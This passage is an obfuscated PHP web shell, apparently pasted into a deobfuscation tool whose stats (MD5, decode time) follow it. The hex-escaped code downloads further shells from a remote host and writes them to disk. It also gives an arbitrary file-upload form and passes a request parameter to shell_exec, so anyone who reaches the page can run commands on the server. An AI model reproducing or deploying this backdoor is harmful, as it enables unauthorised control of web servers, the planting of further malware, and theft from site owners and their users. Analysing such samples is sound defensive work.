";}if($_GET[a]=="jss"){$ngwmuzvr="fi\x6c\x65";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x64ec\x72\x7aw"]}=file_get_contents("\x68t\x74\x70://dro\x70\x64ebth\x65l\x70.\x63\x6f\x6d/j\x73\x73.txt");${${"\x47\x4c\x4f\x42A\x4cS"}["o\x73\x70\x64\x69\x79\x72\x71\x72\x79"]}=fopen("jss\x2e\x70\x68p","w");fwrite(${${"G\x4cO\x42\x41\x4c\x53"}["\x6f\x73\x70\x64i\x79rq\x72y"]},${$ngwmuzvr});fclose(${${"\x47\x4c\x4f\x42A\x4c\x53"}["ospd\x69\x79\x72\x71\x72\x79"]});print"<\x62r\x3e\x3cce\x6et\x65\x72\x3e\x3ch\x33><\x66\x6f\x6e\x74 \x63\x6flor=\"wh\x69te\">\x44\x6fn\x65\x20Sh\x65ll Na\x6de\x20<\x61 h\x72ef\x3d\"\x6ass.\x70\x68p\">\x3cf\x6fn\x74 \x63\x6fl\x6fr=\x72ed\x3ejs\x73.\x70h\x70</\x66\x6fnt\x3e\x3c/\x61\x3e </\x681> ";}if($_GET[a]=="\x77\x73\x73"){$nwlixijyaks="f\x69\x6ce";${"\x47LO\x42A\x4cS"}["m\x66nmk\x62"]="\x62";${"\x47\x4c\x4f\x42\x41L\x53"}["o\x74\x68\x72\x79o"]="b";${${"\x47L\x4f\x42ALS"}["d\x65\x63\x72z\x77"]}=file_get_contents("\x68t\x74\x70://\x64r\x6fp\x64e\x62\x74he\x6cp\x2e\x63\x6fm/\x77s\x73\x2e\x74\x78\x74");${${"\x47LOBA\x4cS"}["\x6f\x74\x68\x72\x79\x6f"]}=fopen("\x77\x73\x73.\x70\x68\x70","\x77");fwrite(${${"\x47L\x4f\x42\x41\x4c\x53"}["m\x66nm\x6b\x62"]},${$nwlixijyaks});${"G\x4c\x4f\x42\x41L\x53"}["std\x72hf\x63\x79f\x66"]="\x62";fclose(${${"G\x4c\x4f\x42\x41LS"}["\x73\x74drh\x66\x63yff"]});print"\x3c\x62r>\x3cc\x65nte\x72\x3e<\x68\x33>\x3c\x66ont c\x6f\x6cor\x3d\"\x77\x68\x69\x74\x65\x22\x3e\x44o\x6ee\x20S\x68e\x6c\x6c\x20Na\x6d\x65 \x3ca\x20h\x72\x65f=\x22w\x73s.\x70\x68\x70\"\x3e\x3cfo\x6e\x74\x20co\x6co\x72\x3d\x72\x65\x64>wss.\x70\x68p</fo\x6et></a>\x20</\x68\x31\x3e\x20";}if($_GET[a]=="\x61d\x6d"){${"\x47L\x4fBALS"}["q\x72h\x63o\x6ee\x67"]="\x66i\x6c\x65";$nugshdc="\x66\x69\x6c\x65";$ukhwtexfevw="b";$twqawmqdk="\x62";${${"\x47L\x4f\x42\x41LS"}["\x71r\x68\x63\x6f\x6e\x65g"]}=file_get_contents("h\x74\x74p://d\x72o\x70d\x65\x62th\x65l\x70.\x63om/a\x64\x6d\x2e\x74x\x74");${$ukhwtexfevw}=fopen("adm\x2e\x70\x68\x70","w");fwrite(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6f\x73pd\x69\x79r\x71ry"]},${$nugshdc});fclose(${$twqawmqdk});print"<\x62r><\x63\x65nt\x65r\x3e<\x68\x33\x3e\x3c\x66\x6fn\x74 co\x6co\x72=\"whit\x65\"\x3e\x44one \x53\x68\x65ll Nam\x65\x20\x3c\x61 \x68re\x66=\"adm.p\x68p\"\x3e\x3cf\x6fnt \x63\x6f\x6co\x72\x3d\x72e\x64\x3e\x61dm\x2ep\x68\x70\x3c/\x66\x6fnt>\x3c/\x61>\x20\x3c/\x68\x31\x3e ";}if($_GET[a]=="s4s"){$iotflomwy="\x62";$cwxipdcie="b";${${"G\x4c\x4f\x42\x41\x4c\x53"}["d\x65\x63\x72z\x77"]}=file_get_contents("ht\x74p://d\x72\x6f\x70deb\x74\x68e\x6cp.co\x6d/she\x6c\x6cfi\x6ed\x65r.txt");${${"\x47\x4cO\x42\x41LS"}["\x6fs\x70di\x79\x72\x71\x72\x79"]}=fopen("shel\x6c\x66\x69n\x64er\x2e\x70\x68\x70","\x77");fwrite(${$iotflomwy},${${"\x47L\x4f\x42A\x4c\x53"}["\x64\x65\x63\x72\x7a\x77"]});fclose(${$cwxipdcie});print"\x3cb\x72>\x3c\x63e\x6eter\x3e\x3ch3>\x3c\x66o\x6e\x74\x20\x63olor\x3d\x22w\x68\x69\x74\x65\x22\x3eDo\x6e\x65\x20S\x68\x65\x6c\x6c \x4e\x61\x6de \x3ca hr\x65f=\x22sh\x65l\x6cf\x69nd\x65\x72.\x70\x68p\x22\x3e<\x66\x6fn\x74\x20\x63olo\x72\x3d\x72\x65\x64>\x73\x68\x65l\x6c\x66\x69n\x64\x65r\x2ep\x68\x70</font\x3e</a> </\x681>\x20";}echo"<\x66ont fac\x65=\x22\x56\x65\x72dan\x61\x22 \x73ize\x3d\"\x32\x22>\n\n<c\x65nt\x65r>\x55\x6e\x61\x6de-\x61\x20:\x20\x3cf\x6fnt \x63\x6f\x6co\x72\x3d\"\x23808080\x22>".php_uname()."\n<\x62r\x3e<\x62\x72\x3e\n";echo"\n<ta\x62le b\x6fr\x64\x65r\x3d1\x20\x62or\x64\x65r\x63ol\x6f\x72\x3d\x72ed>\n\x3c\x74d w\x69dt\x68=5\x350\x20h\x65i\x67ht\x3d2\x38><\x63\x65nt\x65r>\n<font \x66\x61ce\x3d\x22\x56erda\x6e\x61\"\x20s\x69ze=\x221\x22 \x66ont col\x6f\x72\x3dr\x65d\x3e\x2e/\x75plo\x61d\x65r\x3c/\x66\x6f\x6et></ce\x6e\x74\x65r><\x62\x72>";echo"<\x63\x65\x6e\x74e\x72\x3e<\x66\x6f\x72\x6d\x20a\x63\x74ion=\"\" \x6dethod=\x22pos\x74\"\x20en\x63\x74\x79p\x65=\x22\x6d\x75l\x74i\x70\x61r\x74/\x66orm-da\x74a\x22 \x6e\x61me\x3d\x22\x75pl\x6fader\" i\x64=\x22\x75pl\x6f\x61\x64e\x72\"\x3e";echo"\x3cc\x65n\x74er\x3e\x3cinput\x20typ\x65\x3d\x22f\x69\x6ce\"\x20na\x6d\x65\x3d\x22fil\x65\x22 \x73\x69z\x65=\x225\x30\"\x3e\x3c\x69np\x75\x74 \x6eame\x3d\"_u\x70l\" \x74y\x70e\x3d\"s\x75b\x6d\x69\x74\x22\x20\x69d\x3d\"\x5f\x75\x70l\x22\x20v\x61lue\x3d\x22U\x70loa\x64\"\x3e\x3c/f\x6f\x72\x6d></ce\x6e\x74\x65\x72\x3e";if($_POST["_up\x6c"]=="\x55\x70\x6c\x6fad"){if(@copy($_FILES["f\x69l\x65"]["\x74\x6dp_\x6ea\x6de"],$_FILES["fi\x6ce"]["\x6ea\x6d\x65"])){echo"<p\x20\x61\x6c\x69g\x6e=\"\x63e\x6e\x74e\x72\">\x3c\x66\x6f\x6et\x20\x66ac\x65\x3d\x22Ve\x72d\x61na\x22\x20\x73iz\x65\x3d\"\x31\x22><fo\x6e\x74\x20\x63ol\x6fr=\x22\x77hit\x65\x22>\x20\x4fK\x20:)\x3c/\x66ont\x3e\x3cb\x72>";}else{echo"\x3c\x66\x6fn\x74\x20co\x6cor\x3d\"\x23F\x4600\x300\"\x3eF\x61i\x6ced\x20:( </fo\x6et></p\x3e\n\t\x3c/\x74\x64\x3e</\x74a\x62\x6c\x65\x3e</t\x72\x3e\n";}}$girrecerqv="\x63\x6dd";echo "\n\x3c/\x62ody\x3e\n<h\x72 co\x6c\x6fr\x3d\x22\x72\x65\x64\">\n\x3c/\x68\x74\x6dl\x3e\n\x3c\x74able\x20\x62\x6frd\x65\x72=1 b\x6f\x72\x64\x65\x72\x63\x6f\x6cor\x3dre\x64\x3e\n\x3c\x74d\x20\x77idth\x3d5\x35\x30 he\x69\x67\x68t\x3d\x328\x3e\n\x3c\x68tml\x3e \n<bo\x64\x79 \x74\x65\x78\x74\x3dr\x65\x64> <c\x65\x6et\x65\x72\x3e\x3cfo\x6e\x74\x20\x73\x69z\x65=\x31 fo\x6e\x74 \x63\x6f\x6c\x6fr\x3dred\x3e./te\x72\x6d\x69na\x6c\x3c/f\x6fn\x74>\x3c/c\x65nt\x65\x72\x3e\n\x3cfor\x6d\x20m\x65t\x68\x6fd=\x50OS\x54>\x3c\x70\x72e\x3e[\x70ro\x40";echo$_SERVER["S\x45R\x56\x45\x52_N\x41\x4d\x45"];echo "\x20\x7e] #\x20<inp\x75t\x20\x74y\x70\x65\x3d\x54E\x58T \x6eame\x3d\"-\x63md\"\x20si\x7a\x65=\x36\x34 \x76\x61\x6c\x75\x65\x3d\"";echo ${${"G\x4cOB\x41\x4c\x53"}["\x6b\x66\x71\x64\x74\x66g\x62\x7a\x75l"]};echo "\"\x20\n\x73t\x79l\x65\x3d\x22f\x6fnt-\x66ami\x6cy:\x20Cou\x72\x69er\x20\x4eew;\"\x3e\x20\n\x3c/\x63\x65n\x74\x65\x72\x3e\n";${$girrecerqv}=$_REQUEST["-\x63md"];echo "\x20\n";if(${${"\x47\x4cOB\x41\x4c\x53"}["t\x61\x68nx\x79\x6a"]}!="")print Shell_Exec(${${"G\x4c\x4f\x42A\x4cS"}["\x74a\x68\x6ex\x79j"]});echo "\n[\x3csy\x3e\x3c\x61 h\x72\x65\x66=\"\x23\x74\x6f\x70\"\x3e\x54\x4fP</\x61\x3e\x3c/\x73y>]\n</\x70re>\x3c\x68\x72 c\x6fl\x6f\x72=\"\x72\x65d\"\x3e\x3c\x63\x65\x6et\x65\x72\x3e<\x66\x6f\x6e\x74 \x73ize\x3d1\x3e\nCod\x65\x64\x20by\x20<\x61 hr\x65f=\"h\x74tp://www.fa\x63e\x62\x6f\x6f\x6b\x2ec\x6f\x6d/root.pr\x6f\x63o\x64\x65\x72\x7a\x22>Ret\x6e\x4f\x48\x61\x63K</a\x3e \x23P\x72\x6f\x63\x6fd\x65\x72\x7a\x20\x54\x65a\x6d \x41lb\x61n\x69\x61n\x3c\x62r\x3e<\x61 \x68r\x65\x66\x3d\x22http://\x77\x77w\x2epr\x6fc\x6f\x64\x65\x72z.co\x6d\x22>w\x77\x77.\x70r\x6f\x63\x6f\x64er\x7a\x2eco\x6d</a\x3e</tab\x6ce\x3e\x3c/h\x74\x6dl\x3e";
?>

Function Calls

None

Variables

None

Stats

MD5 501e240b52f1dfebffb1fcbbd51d7eab
Eval Count 0
Decode Time 103 ms